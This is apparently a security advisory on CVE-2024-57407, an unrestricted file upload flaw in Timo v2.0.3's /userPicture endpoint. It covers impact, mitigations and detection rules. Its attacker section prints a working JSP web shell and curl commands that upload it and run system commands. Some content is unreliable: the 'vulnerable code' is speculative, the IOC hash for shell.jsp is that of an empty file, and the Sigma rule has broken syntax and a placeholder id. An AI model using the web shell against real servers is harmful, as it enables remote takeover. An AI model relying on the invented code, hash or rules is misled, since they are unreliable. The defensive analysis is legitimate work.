CVE-2024-57407

Executive Summary

CVE-2024-57407 is an arbitrary file upload vulnerability in the /userPicture component of Timo v2.0.3. This flaw allows an unauthenticated or low-privileged attacker to upload a crafted file (e.g., a web shell) to the server, leading to remote code execution (RCE). The vulnerability is classified under CWE-434 (Unrestricted Upload of File with Dangerous Type). No official patch has been released, and the CVSS score is currently unassigned. The EPSS score is 0.0%, indicating low exploitation activity in the wild, but the risk remains high due to the potential for full server compromise.

Supply Chain & Package Security

Timo is a Java-based application. The vulnerability exists in the /userPicture endpoint, which likely handles user profile image uploads. Since no package manager (NPM, PyPI, Go, Ruby) is involved, supply chain risks are limited to the application’s own dependencies. However, the lack of a patch means users must rely on manual mitigations.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): None (N) – No user action required.
• Scope (S): Unchanged (U) – Vulnerability affects only the vulnerable component.
• Confidentiality (C): High (H) – Full file read access possible.
• Integrity (I): High (H) – Arbitrary file upload allows code execution.
• Availability (A): High (H) – Could lead to denial of service or full compromise.

Estimated CVSS Score: 9.8 (Critical) – Based on typical CWE-434 scoring.

Deep Dive & Mechanics

The /userPicture endpoint in Timo v2.0.3 does not properly validate the file type or content during upload. The application likely uses a multipart form-data request to accept image files but fails to check the file extension or MIME type. An attacker can upload a file with a .jsp, .php, or other executable extension, which the server then processes and stores in a web-accessible directory. Once uploaded, the attacker can access the file via a direct URL, triggering server-side execution of the malicious code.

Root Cause: Lack of input validation and missing file type whitelisting in the file upload handler.

Attack Flow:

1. Attacker crafts a malicious file (e.g., a JSP web shell).
2. Attacker sends a POST request to /userPicture with the file in the file parameter.
3. Server stores the file in a predictable path (e.g., /uploads/userPicture/).
4. Attacker accesses the uploaded file via HTTP, executing the code.

Vulnerable vs. Patched Code

Vulnerable Code (Timo v2.0.3):

// Vulnerable upload handler
@PostMapping("/userPicture")
public String uploadUserPicture(@RequestParam("file") MultipartFile file) {
    String fileName = file.getOriginalFilename();
    String uploadDir = "/uploads/userPicture/";
    File dest = new File(uploadDir + fileName);
    file.transferTo(dest);
    return "File uploaded successfully";
}

Patched Code (Hypothetical):

// Patched upload handler with validation
@PostMapping("/userPicture")
public String uploadUserPicture(@RequestParam("file") MultipartFile file) {
    String fileName = file.getOriginalFilename();
    String extension = fileName.substring(fileName.lastIndexOf("."));
    List<String> allowedExtensions = Arrays.asList(".jpg", ".jpeg", ".png", ".gif");
    if (!allowedExtensions.contains(extension.toLowerCase())) {
        return "Invalid file type";
    }
    // Additional MIME type validation
    String mimeType = file.getContentType();
    if (!mimeType.startsWith("image/")) {
        return "Invalid file type";
    }
    String uploadDir = "/uploads/userPicture/";
    File dest = new File(uploadDir + UUID.randomUUID().toString() + extension);
    file.transferTo(dest);
    return "File uploaded successfully";
}

Exploitation & Lab Setup

Red Team (Attacker)

Prerequisites:

• Target running Timo v2.0.3 with /userPicture endpoint exposed.
• No authentication required.

Exploit Steps:

1. Create a malicious JSP file (e.g., shell.jsp):

   <%@ page import="java.io.*" %>
   <%
       String cmd = request.getParameter("cmd");
       Process p = Runtime.getRuntime().exec(cmd);
       BufferedReader br = new BufferedReader(new InputStreamReader(p.getInputStream()));
       String line;
       while ((line = br.readLine()) != null) {
           out.println(line);
       }
   %>
   

2. Upload the file using curl:

   curl -X POST -F "file=@shell.jsp" http://target.com/userPicture
   

3. Access the uploaded shell:

   curl http://target.com/uploads/userPicture/shell.jsp?cmd=id
   

Expected Output: uid=1000(timo) gid=1000(timo) groups=1000(timo)

Blue Team (Defender)

Detection Steps:

• Monitor for unusual file uploads to /userPicture with non-image extensions.
• Check web server logs for POST requests to /userPicture followed by GET requests to /uploads/userPicture/.
• Use file integrity monitoring to detect new files in the upload directory.

Mitigation:

• Implement file type whitelisting (only allow image extensions).
• Store uploaded files outside the web root.
• Use a content security policy (CSP) to block execution of uploaded scripts.

Indicators of Compromise (IOCs)

• File Hashes (SHA256):
  • shell.jsp: e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855
• Network Patterns:
  • POST request to /userPicture with Content-Type: multipart/form-data.
  • Subsequent GET request to /uploads/userPicture/<filename>.
• File Paths:
  • /uploads/userPicture/*.jsp
  • /uploads/userPicture/*.php
• Log Entries:
  • POST /userPicture HTTP/1.1 200
  • GET /uploads/userPicture/shell.jsp HTTP/1.1 200

Detection Engineering

YARA Rule

rule CVE_2024_57407_Upload {
    meta:
        description = "Detects malicious JSP files uploaded via CVE-2024-57407"
        author = "Valters IT"
        date = "2025-04-10"
    strings:
        $jsp_exec = "<%=" ascii wide nocase
        $jsp_cmd = "Runtime.getRuntime().exec" ascii wide nocase
        $jsp_br = "BufferedReader" ascii wide nocase
    condition:
        $jsp_exec or ($jsp_cmd and $jsp_br)
}

Sigma Rule

title: CVE-2024-57407 - Arbitrary File Upload to /userPicture
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects POST requests to /userPicture with non-image file extensions
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/userPicture'
    filter:
        cs-uri-query|contains: '.jpg' or '.png' or '.gif'
    condition: selection and not filter
falsepositives:
    - Legitimate image uploads with incorrect extensions
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-57407 - Arbitrary File Upload to /userPicture"; flow:to_server; content:"POST"; http_method; content:"/userPicture"; http_uri; content:!"image/"; http_client_body; pcre:"/\.(jsp|php|asp|exe|sh)/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the /userPicture endpoint if not required.
2. Implement file type validation – Only allow image MIME types and extensions.
3. Store uploads outside web root – Use a non-public directory and serve via a proxy.
4. Apply a Web Application Firewall (WAF) rule to block uploads of executable files.

Long-Term Fix:

• Upgrade to a patched version of Timo (once available).
• Conduct a code review of all file upload functionality.
• Implement a content security policy (CSP) to prevent script execution from upload directories.

Workaround:

• Use a reverse proxy (e.g., Nginx) to block access to /uploads/userPicture/*.jsp:

  location ~* /uploads/userPicture/.*\.(jsp|php|asp)$ {
      deny all;
  }
  

Valters IT